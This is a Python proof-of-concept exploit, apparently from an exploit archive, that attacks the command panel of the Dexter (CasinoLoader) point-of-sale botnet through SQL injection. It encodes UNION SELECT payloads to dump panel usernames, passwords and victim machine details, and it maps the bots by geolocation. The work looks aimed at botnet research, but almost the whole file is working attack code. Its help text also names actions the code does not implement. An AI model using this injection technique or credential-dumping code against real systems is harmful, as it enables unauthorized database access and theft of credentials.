# Exploit Title: Dexter (CasinoLoader) Panel SQLi # Date: Feb, 13, 2014 # Exploit Author: Brian Wallace (@botnet_hunter) # Version: CasinoLoader # Tested on: Windows 7, Ubuntu, Debian import pycurl import urllib import cStringIO import base64 import argparse import sys import string import pygeoip version = "0.1-http_bots-PoC" def PrintHelp(): global version print "usage: dexter.PoC.py [-h] [action] [gateway url]" print "" print "Dexter CasinoLoader BAMF PoC v" + version print "Exploiting CasinoLoader panels for information" print "By Brian Wallace (@botnet_hunter)" print "" print "arguments:" print " action Actions to be taken against the botnet (default: dump)" print " dump - Print configuration information obtained from source file" print " drop - Execute a command to make the bot scripts exit" print " source Path to non-obfuscated source code for the target bot (default: stdin)" print "" print("GPS:") print(" -m MaxMind Location Location of Maxmind database files (default .)") print "" print " -h, --help Print this message" print "" class DexterPanel: def __init__(self, gateway_url): self.gateway_url = gateway_url @staticmethod def _get_field(gateway, table, column, row): buf = cStringIO.StringIO() c = pycurl.Curl() c.setopt(c.URL, gateway) page = "' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + str(row) + " -- --" params = urllib.urlencode({'val': 'AA==', 'page': base64.b64encode(page)}) c.setopt(c.POSTFIELDS, params) c.setopt(c.HEADERFUNCTION, buf.write) c.perform() val = buf.getvalue() cookie = None for line in val.split('\n'): line = line.strip() if line.count('Set-Cookie:') > 0 and line.count("response") > 0: cookie = line cookie = cookie[cookie.find('=') + 1:] cookie = urllib.unquote(cookie) cookie = base64.b64decode(cookie) cookie = cookie[1:] cookie = cookie[:-2] break buf.close() return cookie def get_all_user_details(self): count = 0 users = [] while True: user = self._get_field(self.gateway_url, 'users', 'name', count) if user is None or user == "": break password = self._get_field(self.gateway_url, 'users', 'password', count) count += 1 users.append({'user': user, 'password': password}) return users def get_all_bot_details(self): count = 0 bots = [] while True: user = self._get_field(self.gateway_url, 'bots', 'RemoteIP', count) if user is None or user == "": break count += 1 bots.append({'RemoteIP': user, 'UID': self._get_field(self.gateway_url, 'bots', 'UID', count), 'Version': self._get_field(self.gateway_url, 'bots', 'Version', count), 'Username': self._get_field(self.gateway_url, 'bots', 'Username', count), 'Computername': self._get_field(self.gateway_url, 'bots', 'Computername', count), 'UserAgent': self._get_field(self.gateway_url, 'bots', 'UserAgent', count), 'OS': self._get_field(self.gateway_url, 'bots', 'OS', count), 'Architecture': self._get_field(self.gateway_url, 'bots', 'Architecture', count), 'Idle Time': self._get_field(self.gateway_url, 'bots', 'Idle Time', count), 'Process List': self._get_field(self.gateway_url, 'bots', 'Process List', count), 'LastVisit': self._get_field(self.gateway_url, 'bots', 'LastVisit', count), 'LastCommand': self._get_field(self.gateway_url, 'bots', 'LastCommand', count)}) return bots if __name__ == "__main__": parser = argparse.ArgumentParser(add_help=False) parser.add_argument('action', nargs='?', type=str, default="dump", help="Actions to be taken against pBots (default: dump)", choices=["dump", "graph"]) parser.add_argument('gateway', nargs='?', type=str, default=None, help="URL to Dexter bot gateway") parser.add_argument('-m', metavar='maxmind', type=str, nargs='?', default='./GeoLiteCity.dat') parser.add_argument('-h', '--help', default=False, required=False, action='store_true') args = parser.parse_args() if args.help or args.gateway is None: PrintHelp() sys.exit() if args.action == "dump": url = args.gateway dex = DexterPanel(url) print "User details: %s" % dex.get_all_user_details() print "Bot details: %s" % dex.get_all_bot_details() elif args.action == "graph": url = args.gateway dex = DexterPanel(url) bots = dex.get_all_bot_details() #load Maxmind sys.stderr.write('Loading MaxMind Database\n') gi = pygeoip.GeoIP(args.m) nodes = {} connections = [] nodes["C2"] = {"id": 0, "label": "C2", "mod": 0} highestnode = 1 #loop through all bots for bot in bots: ip = bot["RemoteIP"] geoip = gi.record_by_addr(ip) node = {"id": highestnode, "label": ip, "host": ip, "mod": 1} highestnode += 1 if geoip is not None: node['lat'] = geoip["latitude"] node['lng'] = geoip["longitude"] nodes[ip] = node connections.append([node['id'], 0]) print('<?xml version="1.0" encoding="UTF-8"?>') print('<gexf xmlns="http://www.gexf.net/1.2draft" version="1.2">') print(' <meta lastmodifieddate="2009-03-20">') print((' <creator>' + "bwall" + '</creator>')) print(' <description></description>') print(' </meta>') print(' <graph mode="static" defaultedgetype="directed">') print(' <attributes class="node" mode="static">') print(' <attribute id="modularity_class" title="Modularity Class" type="integer"></attribute>') print(' <attribute id="lat" title="lat" type="double"></attribute>') print(' <attribute id="lng" title="lng" type="double"></attribute>') print(' </attributes>') print(' <nodes>') for name, node in list(nodes.items()): if 'lat' in node: print((' <node id="' + str(node['id']) + '" label="' + node['label'] + '">')) print(' <attvalues>') print((' <attvalue for="modularity_class" value="' + str(node['mod']) + '"></attvalue>')) print(' <attvalue for="lat" value="' + str(node['lat']) + '"></attvalue>') print(' <attvalue for="lng" value="' + str(node['lng']) + '"></attvalue>') print(' </attvalues>') print(' </node>') else: print((' <node id="' + str(node['id']) + '" label="' + node['label'] + '">')) print(' <attvalues>') print((' <attvalue for="modularity_class" value="' + str(node['mod']) + '"></attvalue>')) print(' <attvalue for="lat" value="0"></attvalue>') print(' <attvalue for="lng" value="0"></attvalue>') print(' </attvalues>') print(' </node>') print(' </nodes>') print(' <edges>') count = 0 for node in connections: print((' <edge id="' + str(count) + '" source="' + str(node[0]) + '" target="' + str(node[1]) + '" />')) count += 1 print(' </edges>') print(' </graph>') print('</gexf>')